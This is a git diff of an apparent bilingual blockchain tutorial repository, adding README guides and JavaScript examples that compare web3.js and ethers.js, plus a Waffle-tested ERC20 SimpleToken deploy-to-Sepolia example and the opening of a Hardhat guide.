+const tx = contract.deploy({
+  data: bytecode,
+  arguments: [0],
+});
+// const deployReceipt = tx.send({
+//   from: accounts[0],
+//   gas: gasLimit,
+//   gasPrice,
+// });
+// deployReceipt.on('receipt', function (receipt) {
+//   console.log(`Contract deployed at address: ${receipt.contractAddress}`);
+// });
+const contractInstance = await tx.send({
+  from: accounts[0],
+  gas: gasLimit,
+  gasPrice,
+});
+console.log('Contract deployed at address:', contractInstance.options.address);
+```
+
+
+
+### 4、调用合约方法：
+
+#### 调用非交易类型的方法：
+
+```js
+// Web3.js
+const contractInstance = new web3.eth.Contract(abi, contractAddress);
+let currentValue = await contractInstance.methods.currentValue().call();
+console.log('Incrementer Contract currentValue:', currentValue);
+
+// ethers
+const readContract = new ethers.Contract(contractAddress, abi, provider);
+let currentValue = await readContract.currentValue();
+console.log('Incrementer Contract currentValue:', currentValue.toString());
+```
+
+#### 调用交易类型的方法：
+
+```js
+// Web3.js
+const accounts = await web3.eth.getAccounts();
+const contractInstance = new web3.eth.Contract(abi, contractAddress);
+const tx = contractInstance.methods.descrement(1);
+await tx
+  .send({
+    from: accounts[0],
+    gas: gasLimit,
+    gasPrice,
+  })
+  .on('receipt', async (recepit) => {
+    currentValue = await contractInstance.methods.currentValue().call();
+    console.log('Incrementer Contract currentValue:', currentValue);
+  });
+
+// ethers
+const writeContract = new ethers.Contract(contractAddress, abi, signer);
+const tx = await writeContract.increment(ethers.BigNumber.from(5));
+await tx.wait();
+currentValue = await readContract.currentValue();
+console.log('Incrementer Contract currentValue:', currentValue.toString());
+```
+
+
+
+#### 查询event事件
+
+```js
+// etherjs写法
+const readContract = new ethers.Contract(contractAddress, abi, provider);
+// filters里传入的参数只能是indexed的参数
+const filter = readContract.filters.Bid(null, utils.hexlify(BigNumber.from(auction.recordId)));
+// 过滤区块
+const logsFrom = await readContract.queryFilter(filter, 0, "latest");
+logsFrom.forEach(item => console.log(items.args));
+
+// web3的写法
+const web3 = new Web3(provider);
+const contractInstance = new web3.eth.Contract(abi, contractAddress);
+const logs = await contractInstance.getPastEvents('Descrement', {
+  filter: {},
+  fromBlock: 0,
+});
+
+logs.forEach((item) => {
+  console.log('Descrement Event:', item); // same results as the optional callback above
+});
+```
+
+
+
+#### 订阅event事件
+
+```js
+
+const provider = new ethers.providers.JsonRpcProvider('http://localhost:8545');
+// http provider不支持订阅
+const web3 = new Web3(new Web3.providers.WebsocketProvider('ws://localhost:8545'));
+
+  // using ethers
+  async function subByEthers() {
+    const readContract = new ethers.Contract(contractAddress, abi, provider);
+    let filterForm = readContract.filters.Increment();
+    readContract.on(filterForm, (amount, event) => {
+      console.log('Increment events:', event);
+    });
+  }
+  subByEthers();
+
+  
+  // using web3
+  async function subByWeb3() {
+    const contractInstance = new web3.eth.Contract(abi, contractAddress);
+    contractInstance.events
+      .Descrement({
+        fromBlock: 0,
+      })
+      .on('data', (event) => {
+        console.log('Descrement Event:', event); // same results as the optional callback above
+      })
+      .on('error', function (error, receipt) {
+        console.error('Descrement Event error:', error);
+      });
+  }
+  subByWeb3();
+}
+
+const server = http.createServer(() => {});
+server.listen(8002);
+
+```
+
+
+
+
+
+## 参考资料
+
+[1 - web3-vs-ethers](https://github.com/adrianmcli/web3-vs-ethers)
+
+[2 - web3js文档](https://web3js.readthedocs.io/en/v1.2.11/index.html)
+
+[3 - ethers 文档](https://docs.ethers.io/v5/)
+
diff --git a/basic/05-ethersjs-erc20/web3-vs-ethers/README.md b/basic/05-ethersjs-erc20/web3-vs-ethers/README.md
new file mode 100644
index 000000000..e960dd3ae
--- /dev/null
+++ b/basic/05-ethersjs-erc20/web3-vs-ethers/README.md
@@ -0,0 +1,237 @@
+[中文](./README-cn.md) / English
+
+## Tips
+
+With example codes shown below, developers can learn the difference between `web3.js` and `ethers.js`
+
+This project mainly focus on tasks including `connect to ethereum `, `get accounts `, `deploy the contract `, `call methods of the contract `.
+
+
+
+## Test
+
+1. Install dependencies
+
+```
+yarn install
+```
+
+
+
+2. Run compile.js script
+
+```
+yarn compile
+```
+
+
+
+3. Start local test network
+
+```
+yarn chain
+```
+
+
+
+4. Run the test script
+
+```
+yarn test
+```
+
+
+
+## Example explanation
+
+
+
+### 1、connect to etherum
+
+```js
+// web3.js
+
+const web3 = new Web3('http://localhost:8545');
+// or
+const web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545'));
+
+// ethers
+const provider = new ethers.providers.JsonRpcProvider('http://localhost:8545');
+const signer = provider.getSigner();
+```
+
+
+
+### 2、Get accounts
+
+```js
+// ethers
+const provider = new ethers.providers.JsonRpcProvider('http://localhost:8545');
+const accounts1 = await provider.listAccounts();
+
+// web3.js
+const web3 = new Web3('http://127.0.0.1:8545');
+const accounts2 = await web3.eth.getAccounts();
+```
+
+
+
+### 3、Deploy the contract
+
+```js
+// using ethers
+//  deploying contract with ethers needs abi, bytecode, signer.
+const factory = new ethers.ContractFactory(abi, bytecode, signer);
+const contractInstance = await factory.deploy(0);
+const tx = await contractInstance.deployTransaction.wait();
+console.log(tx);
+console.log('Contract deployed at address:', contractInstance.address);
+
+// using web3
+const accounts = await web3.eth.getAccounts();
+const contract = new web3.eth.Contract(abi);
+const tx = contract.deploy({
+  data: bytecode,
+  arguments: [0],
+});
+// const deployReceipt = tx.send({
+//   from: accounts[0],
+//   gas: gasLimit,
+//   gasPrice,
+// });
+// deployReceipt.on('receipt', function (receipt) {
+//   console.log(`Contract deployed at address: ${receipt.contractAddress}`);
+// });
+const contractInstance = await tx.send({
+  from: accounts[0],
+  gas: gasLimit,
+  gasPrice,
+});
+console.log('Contract deployed at address:', contractInstance.options.address);
+```
+
+
+
+### 4、Call methods：
+
+#### Call method without transaction：
+
+```js
+// Web3.js
+const contractInstance = new web3.eth.Contract(abi, contractAddress);
+let currentValue = await contractInstance.methods.currentValue().call();
+console.log('Incrementer Contract currentValue:', currentValue);
+
+// ethers
+const readContract = new ethers.Contract(contractAddress, abi, provider);
+let currentValue = await readContract.currentValue();
+console.log('Incrementer Contract currentValue:', currentValue.toString());
+```
+
+#### Call method with transaction：
+
+```js
+// Web3.js
+const accounts = await web3.eth.getAccounts();
+const contractInstance = new web3.eth.Contract(abi, contractAddress);
+const tx = contractInstance.methods.descrement(1);
+await tx
+  .send({
+    from: accounts[0],
+    gas: gasLimit,
+    gasPrice,
+  })
+  .on('receipt', async (recepit) => {
+    currentValue = await contractInstance.methods.currentValue().call();
+    console.log('Incrementer Contract currentValue:', currentValue);
+  });
+
+// ethers
+const writeContract = new ethers.Contract(contractAddress, abi, signer);
+const tx = await writeContract.increment(ethers.BigNumber.from(5));
+await tx.wait();
+currentValue = await readContract.currentValue();
+console.log('Incrementer Contract currentValue:', currentValue.toString());
+```
+
+
+
+#### Query events
+
+```js
+// written in etherjs
+const readContract = new ethers.Contract(contractAddress, abi, provider);
+// The parameters passed to filters can only be indexed parameters.
+const filter = readContract.filters.Bid(null, utils.hexlify(BigNumber.from(auction.recordId)));
+// Filter the blocks
+const logsFrom = await readContract.queryFilter(filter, 0, "latest");
+logsFrom.forEach(item => console.log(items.args));
+
+// written in web3
+const web3 = new Web3(provider);
+const contractInstance = new web3.eth.Contract(abi, contractAddress);
+const logs = await contractInstance.getPastEvents('Descrement', {
+  filter: {},
+  fromBlock: 0,
+});
+
+logs.forEach((item) => {
+  console.log('Descrement Event:', item); // same results as the optional callback above
+});
+```
+
+
+
+#### Subscribe events
+
+```js
+
+const provider = new ethers.providers.JsonRpcProvider('http://localhost:8545');
+// http provider does not support subscription
+const web3 = new Web3(new Web3.providers.WebsocketProvider('ws://localhost:8545'));
+
+  // using ethers
+  async function subByEthers() {
+    const readContract = new ethers.Contract(contractAddress, abi, provider);
+    let filterForm = readContract.filters.Increment();
+    readContract.on(filterForm, (amount, event) => {
+      console.log('Increment events:', event);
+    });
+  }
+  subByEthers();
+
+  
+  // using web3
+  async function subByWeb3() {
+    const contractInstance = new web3.eth.Contract(abi, contractAddress);
+    contractInstance.events
+      .Descrement({
+        fromBlock: 0,
+      })
+      .on('data', (event) => {
+        console.log('Descrement Event:', event); // same results as the optional callback above
+      })
+      .on('error', function (error, receipt) {
+        console.error('Descrement Event error:', error);
+      });
+  }
+  subByWeb3();
+}
+
+const server = http.createServer(() => {});
+server.listen(8002);
+
+```
+
+
+
+
+
+## Reference
+
+[1 - web3-vs-ethers](https://github.com/adrianmcli/web3-vs-ethers)
+
+[2 - web3js doc](https://web3js.readthedocs.io/en/v1.2.11/index.html)
+
+[3 - ethers doc](https://docs.ethers.io/v5/)
+
diff --git a/basic/05-ethersjs-erc20/web3-vs-ethers/compile.js b/basic/05-ethersjs-erc20/web3-vs-ethers/compile.js
new file mode 100644
index 000000000..9091d08b6
--- /dev/null
+++ b/basic/05-ethersjs-erc20/web3-vs-ethers/compile.js
@@ -0,0 +1,32 @@
+const fs = require('fs');
+const path = require('path');
+const solc = require('solc');
+
+const source = fs.readFileSync('Increment.sol', 'utf-8');
+
+const input = {
+  language: 'Solidity',
+  sources: {
+    'Incrementer.sol': {
+      content: source,
+    },
+  },
+  settings: {
+    outputSelection: {
+      '*': {
+        '*': ['*'],
+      },
+    },
+  },
+};
+
+const output = JSON.parse(solc.compile(JSON.stringify(input)));
+// for (let contractName in output['contracts']['Incrementer.sol']) {
+// }
+fs.writeFile(path.resolve('deployed', 'contract.json'), JSON.stringify(output['contracts']['Incrementer.sol']), (err) => {
+  if (err) {
+    console.error('===== compile failed =====', err);
+    return;
+  }
+  console.log('===== compile successfully =====');
+});
diff --git a/basic/05-ethersjs-erc20/web3-vs-ethers/index.js b/basic/05-ethersjs-erc20/web3-vs-ethers/index.js
new file mode 100644
index 000000000..199bdf5d2
--- /dev/null
+++ b/basic/05-ethersjs-erc20/web3-vs-ethers/index.js
@@ -0,0 +1,137 @@
+const { ethers } = require('ethers');
+const Web3 = require('web3');
+const INFURA_ID = process.env.INFURA_ID;
+
+const contracts = require('./deployed/contract.json');
+const CONTRACT_NAME = 'Incrementer';
+const abi = contracts[CONTRACT_NAME].abi;
+const bytecode = contracts[CONTRACT_NAME].evm.bytecode.object;
+const gasLimit = 5000000;
+const gasPrice = '20000000000'; // default gas price in wei, 20 gwei in this case
+let contractAddress = ''; // todo fill the contract address, depends on your local chain
+
+// 1-connecting to Ethereum
+// using ethers
+const provider = new ethers.providers.JsonRpcProvider('http://localhost:8545');
+const signer = provider.getSigner();
+// using web3
+const web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545'));
+// or
+// const web3 = new Web3('http://localhost:8545');
+console.log('===================== Connect to Ethereum success  =====================');
+
+// 2-fetching accounts
+async function getAccounts() {
+  // using ethers
+  const accounts1 = await provider.listAccounts();
+  console.log('ethers fetch accounts = ', accounts1);
+
+  // using web3
+  const accounts2 = await web3.eth.getAccounts();
+  console.log('web3 fetch accounts = ', accounts2);
+}
+// getAccounts();
+
+//3-deploy contract
+function deployContract() {
+  // using ethers
+  async function deployByEthers() {
+    const factory = new ethers.ContractFactory(abi, bytecode, signer);
+    const contractInstance = await factory.deploy(0);
+    const tx = await contractInstance.deployTransaction.wait();
+    console.log(tx);
+    contractAddress = contractInstance.address;
+    console.log('Contract deployed at address:', contractInstance.address); // instance with the new contract address
+  }
+  deployByEthers();
+
+  // using web3
+  async function deployByWeb3() {
+    const accounts = await web3.eth.getAccounts();
+    const contract = new web3.eth.Contract(abi);
+    const tx = contract.deploy({
+      data: bytecode,
+      arguments: [0],
+    });
+    // const deployReceipt = tx.send({
+    //   from: accounts[0],
+    //   gas: gasLimit,
+    //   gasPrice,
+    // });
+    // deployReceipt.on('receipt', function (receipt) {
+    //   console.log(`Contract deployed at address: ${receipt.contractAddress}`); // contains the new contract address
+    // });
+    const contractInstance = await tx.send({
+      from: accounts[0],
+      gas: gasLimit,
+      gasPrice,
+    });
+    console.log('Contract deployed at address:', contractInstance.options.address); // instance with the new contract address
+  }
+  deployByWeb3();
+}
+// deployContract();
+
+// 4-call contract methods
+function callContractMethods() {
+  // using ethers + 5
+  async function callByEthers() {
+    const readContract = new ethers.Contract(contractAddress, abi, provider);
+    let currentValue = await readContract.currentValue();
+    console.log('Incrementer Contract currentValue:', currentValue.toString());
+    const writeContract = new ethers.Contract(contractAddress, abi, signer);
+    const tx = await writeContract.increment(ethers.BigNumber.from(5));
+    await tx.wait();
+    currentValue = await readContract.currentValue();
+    console.log('Incrementer Contract currentValue:', currentValue.toString());
+  }
+  // callByEthers();
+
+  // using ethers
+  async function callByWeb3() {
+    const accounts = await web3.eth.getAccounts();
+    const contractInstance = new web3.eth.Contract(abi, contractAddress);
+    let currentValue = await contractInstance.methods.currentValue().call();
+    console.log('Incrementer Contract currentValue:', currentValue);
+    const tx = contractInstance.methods.descrement(5);
+    await tx
+      .send({
+        from: accounts[0],
+        gas: gasLimit,
+        gasPrice,
+      })
+      .on('receipt', async (recepit) => {
+        currentValue = await contractInstance.methods.currentValue().call();
+        console.log('Incrementer Contract currentValue:', currentValue);
+      });
+  }
+  callByWeb3();
+}
+console.log('===================== Call Contract Methods success  =====================');
+callContractMethods();
+
+// 5-query contract events
+function queryContractEvents() {
+  // using ethers
+  async function queryByEthers() {
+    const readContract = new ethers.Contract(contractAddress, abi, provider);
+    let filterForm = readContract.filters.Increment();
+    const logs = await readContract.queryFilter(filterForm, 0, 'latest');
+    logs.forEach((item) => console.log('Increment events:', item.args));
+  }
+  queryByEthers();
+
+  async function queryByWeb3() {
+    const contractInstance = new web3.eth.Contract(abi, contractAddress);
+    const logs = await contractInstance.getPastEvents('Descrement', {
+      filter: {},
+      fromBlock: 0,
+    });
+
+    logs.forEach((item) => {
+      console.log('Descrement Event:', item); // same results as the optional callback above
+    });
+  }
+  queryByWeb3();
+}
+// queryContractEvents();
diff --git a/basic/05-ethersjs-erc20/web3-vs-ethers/sub.js b/basic/05-ethersjs-erc20/web3-vs-ethers/sub.js
new file mode 100644
index 000000000..0e312c96d
--- /dev/null
+++ b/basic/05-ethersjs-erc20/web3-vs-ethers/sub.js
@@ -0,0 +1,45 @@
+const { ethers } = require('ethers');
+const http = require('http');
+const Web3 = require('web3');
+const contracts = require('./deployed/contract.json');
+const CONTRACT_NAME = 'Incrementer';
+const abi = contracts[CONTRACT_NAME].abi;
+let contractAddress = ''; // todo fill the contract address, depends on your local chain
+
+
+const provider = new ethers.providers.JsonRpcProvider('http://localhost:8545');
+// using web3
+const web3 = new Web3(new Web3.providers.WebsocketProvider('ws://localhost:8545'));
+
+// 6-sub contract events
+function subContractEvents() {
+  // using ethers
+  async function subByEthers() {
+    const readContract = new ethers.Contract(contractAddress, abi, provider);
+    let filterForm = readContract.filters.Increment();
+    readContract.on(filterForm, (amount, event) => {
+      console.log('Increment events:', event);
+    });
+  }
+  subByEthers();
+
+  async function subByWeb3() {
+    const contractInstance = new web3.eth.Contract(abi, contractAddress);
+    contractInstance.events
+      .Descrement({
+        fromBlock: 0,
+      })
+      .on('data', (event) => {
+        console.log('Descrement Event:', event); // same results as the optional callback above
+      })
+      .on('error', function (error, receipt) {
+        console.error('Descrement Event error:', error);
+      });
+  }
+  subByWeb3();
+}
+
+subContractEvents();
+
+const server = http.createServer(() => {});
+server.listen(8002);
diff --git a/basic/06-ethersjs-waffle/.env.example b/basic/06-ethersjs-waffle/.env.example
new file mode 100644
index 000000000..0eab39e20
--- /dev/null
+++ b/basic/06-ethersjs-waffle/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyy
\ No newline at end of file
diff --git a/basic/06-ethersjs-waffle/README-cn.md b/basic/06-ethersjs-waffle/README-cn.md
new file mode 100644
index 000000000..b7e7c0e28
--- /dev/null
+++ b/basic/06-ethersjs-waffle/README-cn.md
@@ -0,0 +1,103 @@
+中文 / [English](./README.md)
+
+## 前言
+
+Waffle 是一款适配 ehter.js 的智能合约测试库。本样例演示了使用 Waffle 进行测试的基本流程及使用方法.  
+Waffle 详细使用方法可以参考 [Waffle 官网](https://ethereum-waffle.readthedocs.io/en/latest/getting-started.html) , 对于不熟悉 Waffle 测试框架的开发者, 可以根据本样例进行基础的操作, 阅读样例代码, 形成初步的流程概念, 之后再参考官网进行更加深入的了解.
+
+## 合约介绍
+
+- contract/SimpleToken.sol  
+  一个标准的 ERC20 合约, 实现了 ERC20 的所有接口, 用户可以使用这个合约进行 ERC20 代币的发放.
+  
+
+## 脚本介绍
+
+- test/simpleTokenTest.js  
+  SimpleToken.sol 合约的单元测试代码. 这里只写了一个测试脚本, 实际开发中, 可以在 test 目录下, 针对不同的合约, 编写多个单元测试脚本, 之后使用 yarn test 命令即可执行 test 目录下所有的单元测试脚本.  
+  在 simpleTokenTest.js 脚本中, 对 SimpleToken.sol 合约的各个接口进行简单的测试, 可以参考此样例编写其他合约的单元测试代码.
+
+- index.js  
+  外部合约, 需要单独进行调用. 对应实际生产环境中, 当单元测试通过后, 就可以调用此脚本进行实际的生成操作.  
+  此脚本名字自行进行定义, 这里是使用 index.js 进行指定
+
+## 操作步骤
+  
+- 1 安装依赖
+
+```bash
+yarn install
+
+#node 版本 v20.11.0
+```
+
+- 2 编译合约
+
+```bash
+yarn build
+```
+
+- 3 配置环境变量
+
+```bash
+cp .env.example .env
+
+## 然后修改 .env ，在其中配置 PRIVATE_KEY 和 INFURA_ID
+```
+
+- 4 执行测试
+
+```bash
+yarn test
+```
+
+- 5 测试 index.js
+
+```bash
+node index.js
+
+## index.js 第19行 let address = "xxxxxxx" 修改成自己地址
+```
+## 说明
+在使用命yarn install命令，提示无法找到yarn命令时（比如在VMware上跑），可以尝试执行：
+1. $ sudo wget https://dl.yarnpkg.com/rpm/yarn.repo -O /etc/yum.repos.d/yarn.rep
+2. $ sudo yum install yarn
+
+之后查看yarn 版本：
+$ yarn --versionyarn --version
+
+
+- 如果在windows上跑yarn test命令时，要把package.json文件中script脚本中test命令中的export命令修改为set命令，否则会报找不到命令。
+
+修改前：
+
+```
+  "scripts": {
+    "build": "waffle",
+    "test": "export NODE_ENV=test && mocha --timeout 10000"
+  },
+```
+
+修改后：
+
+```
+  "scripts": {
+    "build": "waffle",
+    "test": "set NODE_ENV=test && mocha --timeout 10000"
+  },
+```
+  
+  
+## 参考文档
+
+- waffle 官方文档： <https://ethereum-waffle.readthedocs.io/en/latest/getting-started.html>
+
+- ehterjs 官方文档： 
+  - v6 <https://docs.ethers.org/v6/getting-started>
+  - v5 <https://docs.ethers.io/v5/getting-started/#getting-started--contracts>
+  - v4 <https://docs.ethers.io/v4/api-providers.html>  
+
+- 中文文档： 
+  - v6 <https://www.wtf.academy/docs/ethers-101/HelloVitalik/>
+  - v5 <https://learnblockchain.cn/ethers_v5/getting-started>
+  - v4 <https://learnblockchain.cn/docs/ethers.js/api-providers.html>
diff --git a/basic/06-ethersjs-waffle/README.md b/basic/06-ethersjs-waffle/README.md
new file mode 100644
index 000000000..6184e1077
--- /dev/null
+++ b/basic/06-ethersjs-waffle/README.md
@@ -0,0 +1,105 @@
+[中文](./README-cn.md) / English
+
+## Preface
+
+Waffle is a smart contract test library that adapts to ehter.js. This example demonstrates the basic process and usage of Waffle test.
+You can refer to the offical website of Waffle width the detailed usage(https://ethereum-waffle.readthedocs.io/en/latest/getting-started.html).If you are a developler not familiar with Waffle, you could read the sample code and do exercises, then refer to the official website for a more in-depth understanding.
+
+## Contracts Introduction
+
+- contract/SimpleToken.sol
+  A standard ERC20 contract that implements all interface of ERC20. Users could issue ERC20 tokens using this contract.
+  
+
+## Scripts Introduction
+
+- test/simpleTokenTest.js
+  The unit test code of SimpleToken.sol contract. There is only one test script here, you could write multiple scripts of unit test codes for different contracts under the "test" directory during the development.
+  Each interface of SimpleToken.sol contract will be simplely tested in the simpleTokenTest.js script.You can refer to the sample to write unit test codes of other contracts.
+
+- index.js
+  External contracts needs to be invoked separately. When unit test is passed, the script could be called to generate some actions in the production environment.
+
+## steps
+
+- 1 install dependencies
+
+```bash
+yarn install
+
+#node version v20.11.0
+```
+
+- 2 compile contracts
+
+```bash
+yarn build
+```
+
+- 3 config environment variables
+
+```bash
+cp .env.example .env
+
+## modify PRIVATE_KEY and INFURA_ID in .env
+```
+
+- 4 Test Execution
+
+```bash
+yarn test
+```
+
+- 5 test index.js
+
+```bash
+node index.js
+
+## index.js Line 19:let address = "xxxxxxx" change account to self
+```
+
+## Note
+
+when it hint that "cannot find yarn commands"(when running on VMWare), you can try:
+
+1. $ sudo wget https://dl.yarnpkg.com/rpm/yarn.repo -O /etc/yum.repos.d/yarn.rep
+2. $ sudo yum install yarn
+
+check yarn version
+$ yarn --versionyarn --version
+
+- If run `yarn test` on windows, you should change the "export" keyword to the "set" keyword in the "test" command of the "scripts" key of the file named package.json
+
+Before changed:
+
+```
+  "scripts": {
+    "build": "waffle",
+    "test": "export NODE_ENV=test && mocha --timeout 10000"
+  },
+```
+
+afer changed:
+
+```
+  "scripts": {
+    "build": "waffle",
+    "test": "set NODE_ENV=test && mocha --timeout 10000"
+  },
+```
+
+## Reference document
+
+
+- waffle offical document: <https://ethereum-waffle.readthedocs.io/en/latest/getting-started.html>
+
+- etherjs offical document:
+  - v6 <https://docs.ethers.org/v6/getting-started>
+  - v5 <https://docs.ethers.io/v5/getting-started/#getting-started--contracts>
+  - v4 <https://docs.ethers.io/v4/api-providers.html>  
+
+- Chinese document:
+  - v6 <https://www.wtf.academy/docs/ethers-101/HelloVitalik/>
+  - v5 <https://learnblockchain.cn/ethers_v5/getting-started>
+  - v4 <https://learnblockchain.cn/docs/ethers.js/api-providers.html>
+ 
diff --git a/Example04-web3js-truffle/contracts/SimpleToken.sol b/basic/06-ethersjs-waffle/contract/SimpleToken.sol
similarity index 100%
rename from Example04-web3js-truffle/contracts/SimpleToken.sol
rename to basic/06-ethersjs-waffle/contract/SimpleToken.sol
diff --git a/basic/06-ethersjs-waffle/index-v5.js b/basic/06-ethersjs-waffle/index-v5.js
new file mode 100644
index 000000000..c446f4a8e
--- /dev/null
+++ b/basic/06-ethersjs-waffle/index-v5.js
@@ -0,0 +1,74 @@
+const fs = require("fs");
+const SimpleToken = require("./build/SimpleToken.json");
+
+const { ethers } = require("ethers");
+
+require("dotenv").config();
+const privateKey = process.env.PRIVATE_KEY;
+
+// const web3 = new Web3.providers.HttpProvider('https://sepolia.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07');
+//  let web3Provider = new ethers.providers.Web3Provider(web3)
+
+const web3Provider = new ethers.providers.InfuraProvider(
+  "sepolia",
+  process.env.INFURA_ID
+);
+
+const wallet = new ethers.Wallet(privateKey, web3Provider);
+
+let address = "0x54A65DB20D7653CE509d3ee42656a8F138037d51";
+
+let bal;
+
+// support eip1559
+async function getGasPrice () {
+  return await web3Provider.getFeeData().then(async function (res) {
+    let maxFeePerGas = res.maxFeePerGas;
+    let maxPriorityFeePerGas = res.maxPriorityFeePerGas;
+    console.log("maxFeePerGas: ", maxFeePerGas.toString());
+    console.log("maxPriorityFeePerGas:", maxPriorityFeePerGas.toString());
+
+    return {
+      maxFeePerGas: maxFeePerGas,
+      maxPriorityFeePerGas: maxPriorityFeePerGas,
+    };
+  });
+}
+
+async function checkBalance () {
+  bal = await web3Provider.getBalance(address).then((balance) => {
+    // balance is a BigNumber (in wei); format is as a sting (in ether)
+    let etherString = ethers.utils.formatEther(balance);
+    return etherString;
+  });
+  console.log("balance: ", bal);
+}
+
+checkBalance();
+
+let token;
+async function deploy () {
+  let option = await getGasPrice();
+  // 常见合约工厂实例
+  const simpletoken = new ethers.ContractFactory(
+    SimpleToken.abi,
+    SimpleToken.bytecode,
+    wallet
+  );
+  token = await simpletoken.deploy("HEHE", "HH", 1, 100000000);
+  tx = await token.transfer(
+    "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266",
+    ethers.utils.parseEther("0.00000000001"),
+    option
+  );
+  console.log(token.address);
+
+  console.log(token.deployTransaction.hash);
+
+  await token.deployed();
+
+  let bal = await token.balanceOf(wallet.address);
+  console.log(bal.toString());
+}
+
+deploy();
\ No newline at end of file
diff --git a/basic/06-ethersjs-waffle/index.js b/basic/06-ethersjs-waffle/index.js
new file mode 100644
index 000000000..d9fed9abd
--- /dev/null
+++ b/basic/06-ethersjs-waffle/index.js
@@ -0,0 +1,80 @@
+const fs = require("fs");
+const SimpleToken = require("./build/SimpleToken.json");
+
+const { ethers } = require("ethers");
+
+require("dotenv").config();
+const privateKey = process.env.PRIVATE_KEY;
+
+// const web3 = new Web3.providers.HttpProvider(`https://sepolia.infura.io/v3${process.env.INFURA_ID}`);
+//  let web3Provider = new ethers.providers.Web3Provider(web3)
+
+const web3Provider = new ethers.InfuraProvider(
+  "sepolia",
+  process.env.INFURA_ID
+);
+
+// or
+// const web3Provider = new ethers.JsonRpcProvider('https://sepolia.infura.io/v3/' + process.env.INFURA_ID,
+// 'sepolia'
+// );
+
+const wallet = new ethers.Wallet(privateKey, web3Provider);
+
+let address = "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266";
+
+let bal;
+
+// support eip1559
+async function getGasPrice () {
+  return await web3Provider.getFeeData().then(async function (res) {
+    let maxFeePerGas = res.maxFeePerGas;
+    let maxPriorityFeePerGas = res.maxPriorityFeePerGas;
+    console.log("maxFeePerGas: ", maxFeePerGas.toString());
+    console.log("maxPriorityFeePerGas:", maxPriorityFeePerGas.toString());
+
+    return {
+      maxFeePerGas: maxFeePerGas,
+      maxPriorityFeePerGas: maxPriorityFeePerGas,
+    };
+  });
+}
+
+async function checkBalance () {
+  bal = await web3Provider.getBalance(address).then((balance) => {
+    // balance is a BigNumber (in wei); format is as a sting (in ether)
+    let etherString = ethers.formatEther(balance);
+    return etherString;
+  });
+  console.log("balance: ", bal);
+}
+
+checkBalance();
+
+let token;
+async function deploy () {
+  let option = await getGasPrice();
+  // 常见合约工厂实例
+  const simpletoken = new ethers.ContractFactory(
+    SimpleToken.abi,
+    SimpleToken.bytecode,
+    wallet
+  );
+  console.log('start deploy')
+  token = await simpletoken.deploy("HEHE", "HH", 1, 100000000);
+
+  console.log(token.target);
+
+  await token.waitForDeployment();
+  console.log('deployed')
+  tx = await token.transfer(
+    "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266",
+    ethers.parseEther("0.00000000001"),
+    option
+  );
+  console.log('hash', tx.hash);
+  let bal = await token.balanceOf(wallet.address);
+  console.log(bal.toString());
+}
+
+deploy();
diff --git a/basic/06-ethersjs-waffle/package.json b/basic/06-ethersjs-waffle/package.json
new file mode 100644
index 000000000..69d402ed2
--- /dev/null
+++ b/basic/06-ethersjs-waffle/package.json
@@ -0,0 +1,23 @@
+{
+  "name": "example06-ethersjs-waffle",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "build": "waffle",
+    "test": "export NODE_ENV=test && mocha --timeout 10000"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "chai": "^4.2.0",
+    "dotenv": "^10.0.0",
+    "ethereum-waffle": "^3.4.4",
+    "ethereumjs-tx": "^2.1.2",
+    "ethers": "^5.1.4",
+    "minimist": "^1.2.5",
+    "mocha": "8.4.0",
+    "solc": "0.8.0",
+    "web3": "^1.3.5"
+  }
+}
diff --git a/basic/06-ethersjs-waffle/test/simpleTokenTest.js b/basic/06-ethersjs-waffle/test/simpleTokenTest.js
new file mode 100644
index 000000000..591d4c669
--- /dev/null
+++ b/basic/06-ethersjs-waffle/test/simpleTokenTest.js
@@ -0,0 +1,49 @@
+const { use, expect } = require("chai");
+const fs = require("fs");
+const {deployContract, MockProvider, solidity} = require('ethereum-waffle');
+const SimpleToken = require('../build/SimpleToken.json');
+
+const { ethers } = require("ethers");
+const Web3 = require('web3');
+
+use(solidity);
+
+describe('SimpleToken', () => {
+    const [wallet, walletTo] = new MockProvider().getWallets();
+    let token;
+
+    beforeEach(async () => {
+        token = await deployContract(wallet, SimpleToken, ["HEHE", "HH", 0, 100000000]);
+    });
+
+    it('Assigns initial balance', async () => {
+        console.log("*****2");
+        expect(await token.balanceOf(wallet.address)).to.equal(100000000);
+
+    });
+
+    it('Transfer adds amount to destination account', async () => {
+        await token.transfer(walletTo.address, 7);
+        expect(await token.balanceOf(walletTo.address)).to.equal(7);
+    });
+
+    it('Transfer emits event', async () => {
+        await expect(token.transfer(walletTo.address, 7))
+            .to.emit(token, 'Transfer')
+            .withArgs(wallet.address, walletTo.address, 7);
+    });
+
+    it('Can not transfer above the amount', async () => {
+        await expect(token.transfer(walletTo.address, 1007100000000)).to.be.reverted;
+    });
+
+    it('Calls totalSupply on SimpleToken contract', async () => {
+        await token.totalSupply();
+        expect('totalSupply').to.be.calledOnContract(token);
+    });
+
+    it('Calls balanceOf with sender address on SimpleToken contract', async () => {
+        await token.balanceOf(wallet.address);
+        expect('balanceOf').to.be.calledOnContractWith(token, [wallet.address]);
+    });
+});
\ No newline at end of file
diff --git a/Example06-ethersjs-waffle/waffle.json b/basic/06-ethersjs-waffle/waffle.json
similarity index 100%
rename from Example06-ethersjs-waffle/waffle.json
rename to basic/06-ethersjs-waffle/waffle.json
diff --git a/basic/07-hardhat/.env.example b/basic/07-hardhat/.env.example
new file mode 100644
index 000000000..6a94dd4fa
--- /dev/null
+++ b/basic/07-hardhat/.env.example
@@ -0,0 +1,3 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
+APIKEY=zzzzzz
\ No newline at end of file
diff --git a/basic/07-hardhat/README-CN.md b/basic/07-hardhat/README-CN.md
new file mode 100644
index 000000000..1155b5430
--- /dev/null
+++ b/basic/07-hardhat/README-CN.md
@@ -0,0 +1,343 @@
+中文 / [English](./README.md)
+
+
+# Hardhat
+
+Hardhat 是一个编译、部署、测试和调试以太坊应用的开发环境。
+
